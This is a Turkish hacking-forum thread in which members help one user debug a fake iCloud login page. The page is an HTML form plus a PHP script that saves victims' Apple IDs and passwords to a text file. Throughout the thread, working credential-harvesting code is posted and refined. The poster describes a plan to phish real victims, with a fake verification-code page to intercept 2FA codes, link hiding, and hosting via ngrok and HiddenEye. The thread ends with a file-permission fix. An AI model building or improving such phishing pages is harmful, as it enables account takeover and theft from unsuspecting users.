Çözüldü Fake page yaparken hata alıyorum

DARKF0REST

Üye
15 Eki 2019
135
0
Merhaba arkadaşlar. Ben icloud için fake page yapıyordum fakat bazı problemlerle karşılarştım. Index.html dosyasında user ve pass kısmına girilen verileri login.php ye atacak ve login.php de kendisine data.txt isimli dosya oluşturup içine yazacak. Kodlar şu şekilde;
Index.html=
Kod:
<!DOCTYPE html>
<html lang="en" >

<head>
  <**** charset="UTF-8">
  <title>iCloud Login</title>
  
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">

  
      <link rel="stylesheet" href="style.css">

  
</head>

<body>

  <div id="fundo">
    <div id="login">
        <div id="logo"></div>
         <h1>Sign in to iCloud</h1>
        <form action="login.php" method="post">
        <div class="input">
        
            <input type="text" placeholder="Apple ID" name="user" id="user" />
        </div>
        <div class="input">
            <input type="text" placeholder="Password" name="pass" id="pass" />
            <div class="btn"><input type="submit" value="" name="submitt"></div>
        </div>
        
        <div id="footer">
            <label>
                <input type="checkbox" /> <span>Keep me logged in</span>

            </label>
        </div>
        </form>
    </div>
</div>
  
  

</body>

</html>
login.php=
Kod:
<?php

$user_name = $_POST["user"];
$pass_word = $_POST["pass"];

if(isset($_POST["submitt"])){
    $open = fopen("data.txt","a");
    fwrite($open,$user_name);
    fwrite($open,":");
    fwrite($open,$pass_word);
    fwrite($open,"\n");
    fclose($open);

}

?>
 
Moderatör tarafında düzenlendi:

0x1D

Kıdemli Üye
23 Nis 2020
2,650
78
MARS
Kod çalışıyor, aldığın hatayı söyler misin ?
Localhost'ta çalıştırdığından emin ol.

DARKF0REST

Ayrıca neden dosyayı sürekli açtın ki ? String birleştirme operatörü ile (.) tek seferde yazabilirsin.

Kod:
<?php

$user_name = $_POST["user"];
$pass_word = $_POST["pass"];

if (isset($_POST["submitt"])) {
    $open = fopen("data.txt","a");
    fwrite($open, $user_name.":".$pass_word."\n");
}

?>
 
Son düzenleme:

DARKF0REST

Üye
15 Eki 2019
135
0
Kod çalışıyor, aldığın hatayı söyler misin ?
Localhost'ta çalıştırdığından emin ol.

@DARKF0REST

Ayrıca neden dosyayı sürekli açtın ki ? String birleştirme operatörü ile (.) tek seferde yazabilirsin.

Kod:
<?php

$user_name = $_POST["user"];
$pass_word = $_POST["pass"];

if (isset($_POST["submitt"])) {
    $open = fopen("data.txt","a");
    fwrite($open, $user_name.":".$pass_word."\n");
}

?>

Xenopeltis
HTML:



Kod:
<!DOCTYPE html>
<html lang="en" >

<head>
  <**** charset="UTF-8">
  <title>iCloud Login</title>
  
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">

  
      <link rel="stylesheet" href="style.css">

  
</head>

<body>

  <div id="fundo">
    <div id="login">
        <div id="logo"></div>
         <h1>Sign in to iCloud</h1>
        <form action="login.php" method="POST">
        <div class="input">
        
            <input type="email" placeholder="Apple ID" name="name" />
        </div>
        <div class="input">
            <input type="password" placeholder="Password" name="pass" />
            <div class="btn"><input type="submit" value="" name="submitt" /></div>
        </div>
        </form>
        <div id="footer">
            <label>
                <input type="checkbox" /> <span>Keep me logged in</span>

            </label>
        </div>
    
    </div>
</div>
  
  

</body>

</html>


PHP:


Kod:
<?php

$user_name = $_POST["user"];
$pass_word = $_POST["pass"];

if (isset($_POST["submitt"])) {
    $open = fopen("data.txt","a");
    fwrite($open, $user_name.":".$pass_word."\n");
}

?>


Şuan kodlar bu ve local hostta hiçbir sorun yok ama asıl sorun şu data.txt oluşturmuyor ve yazmıyor.[ kendim data.txt oluşturup denedim yine olmadı.]


SS kayıtları aşağıdaki gibidir:



 
Son düzenleme:

C 0 D E R

Katılımcı Üye
21 May 2020
429
2
48
SIFIR6
İndex.HTML | PHP
Kod:
<!DOCTYPE html>
<html lang="en" >
<head>
  <title>iCloud Login</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
      <link rel="stylesheet" href="style.css">
</head>
<body>
  <div id="fundo">
    <div id="login">
        <div id="logo"></div>
         <h1>Sign in to iCloud</h1>
        <form action="login.php" method="POST">
        <div class="input">
            <input type="email" placeholder="Apple ID" name="name" />
        </div>
        <div class="input">
            <input type="password" placeholder="Password" name="pass" />
            <div class="btn"><input type="submit" value="" name="submitt" /></div>
        </div>
        </form>
        <div id="footer">
            <label>
                <input type="checkbox" /> <span>Keep me logged in</span>
            </label>
        </div>
    </div>
</div>
</body>
</html>

Login.php
Kod:
$user_name = $_POST["name"];
$pass_word = $_POST["pass"];

if (isset($_POST["submitt"])) {
	$Dosya = fopen("hesaplar.txt","a+");
	$Bilgiler = $user_name.":".$pass_word;
	fwrite($Dosya,$Bilgiler);
	fclose($Dosya);
}

Her şey bir kenara'da Girişi nasıl onaylatacaksın? Hadi onayladı diyelim kodu nasıl alacaksın? Aydınlat beni dostum :incele
 
Son düzenleme:

DARKF0REST

Üye
15 Eki 2019
135
0
İndex.HTML | PHP
Kod:
<!DOCTYPE html>
<html lang="en" >
<head>
  <title>iCloud Login</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
      <link rel="stylesheet" href="style.css">
</head>
<body>
  <div id="fundo">
    <div id="login">
        <div id="logo"></div>
         <h1>Sign in to iCloud</h1>
        <form action="login.php" method="POST">
        <div class="input">
            <input type="email" placeholder="Apple ID" name="name" />
        </div>
        <div class="input">
            <input type="password" placeholder="Password" name="pass" />
            <div class="btn"><input type="submit" value="" name="submitt" /></div>
        </div>
        </form>
        <div id="footer">
            <label>
                <input type="checkbox" /> <span>Keep me logged in</span>
            </label>
        </div>
    </div>
</div>
</body>
</html>

Login.php
Kod:
$user_name = $_POST["name"];
$pass_word = $_POST["pass"];

if (isset($_POST["submitt"])) {
	$Dosya = fopen("hesaplar.txt","a+");
	$Bilgiler = $user_name.":".$pass_word;
	fwrite($Dosya,$Bilgiler);
	fclose($Dosya);
}

Her şey bir kenara'da Girişi nasıl onaylatacaksın? Hadi onayladı diyelim kodu nasıl alacaksın? Aydınlat beni dostum :incele

Tabii anlatıyım, planım şu +1(Amerikan numarası) alacağım ve kurbanın o anki stabil durumunuda baz alarak bir senaryo kuracağım. Maddi yönden biraz kaybım olabilir ama ona yapacak bir şey yok. İcloud hesabının yönlendireceği bir de verification code page(doğrulama kodu sayfası) yapacağım. Kurban gerçekten iclouda giriş yaptığını sanacak. Tahmini 2-3 dakika veriyor değil mi kodu girmem için yeterli bir zaman :) Linki gizlemek içinde bir yolunu bulacağım işlemler ngrok üzerinden planlı şuanlık. Elimdeki araçlara göre senaryo güçlenecek.

Diğer konuda şu başaramadım :) php echo komutu kullanınca yazdırıyor hatta else ile kontrol ettim sorun var mı diye, yok. ama hala hesaplar.txt dosyasına yazmıyor. Bende HiddenEye ın dosyalarını kendi dosyalarımla değiştirip terminale bağladım. Şu an problem yok terminalden çıktı alıyorum ama txt dosyasına neden yazmıyor?
 
Son düzenleme:

C 0 D E R

Katılımcı Üye
21 May 2020
429
2
48
SIFIR6
Tabii anlatıyım, planım şu +1(Amerikan numarası) alacağım ve kurbanın o anki stabil durumunuda baz alarak bir senaryo kuracağım. Maddi yönden biraz kaybım olabilir ama ona yapacak bir şey yok. İcloud hesabının yönlendireceği bir de verification code page(doğrulama kodu sayfası) yapacağım. Kurban gerçekten iclouda giriş yaptığını sanacak. Tahmini 2-3 dakika veriyor değil mi kodu girmem için yeterli bir zaman :) Linki gizlemek içinde bir yolunu bulacağım işlemler ngrok üzerinden planlı şuanlık. Elimdeki araçlara göre senaryo güçlenecek.

Diğer konuda şu başaramadım :) php echo komutu kullanınca yazdırıyor hatta else ile kontrol ettim sorun var mı diye, yok. ama hala hesaplar.txt dosyasına yazmıyor. Bende HiddenEye ın dosyalarını kendi dosyalarımla değiştirip terminale bağladım. Şu an problem yok terminalden çıktı alıyorum ama txt dosyasına neden yazmıyor?

Dosya izinlerinde herhangi bir değişiklik yok değil mi? Onu bir kontrol et hocam.
 

DARKF0REST

Üye
15 Eki 2019
135
0
Dosya izinlerinde herhangi bir değişiklik yok değil mi? Onu bir kontrol et hocam.

chmod 777 * yaptım düzeldi. Cahilliğimden dolayı özür dilerim :) Dosyanın yazması için other kısmına mı yetki vermem gerekiyor. Ben chmod verirken hepsinde w(write) vardı.
Birde ben php dosyasını hiddeneye dosyalarıyla değiştirdim. Yine yazmadı ama chmod 'dan sonra yazdı. [ Belki aynı durumla karşılaşan olur belirtmek istedim.]
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.